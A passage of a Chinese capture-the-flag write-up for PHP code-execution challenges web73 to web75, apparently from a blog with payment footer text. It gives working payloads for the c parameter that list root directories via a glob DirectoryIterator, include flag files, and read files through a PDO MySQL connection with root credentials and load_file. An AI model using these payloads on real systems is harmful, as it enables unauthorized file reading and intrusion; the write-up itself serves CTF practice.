c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");};exit();

在这里插入图片描述
这次没有过滤 include,直接读取
c=include("/flagc.txt");exit();
在这里插入图片描述

web74

在这里插入图片描述
flagx.txt
c=include('/flagx.txt');exit();

web75

在这里插入图片描述
flag36.txt
payload:

c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}exit(0);

url 编码一下
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值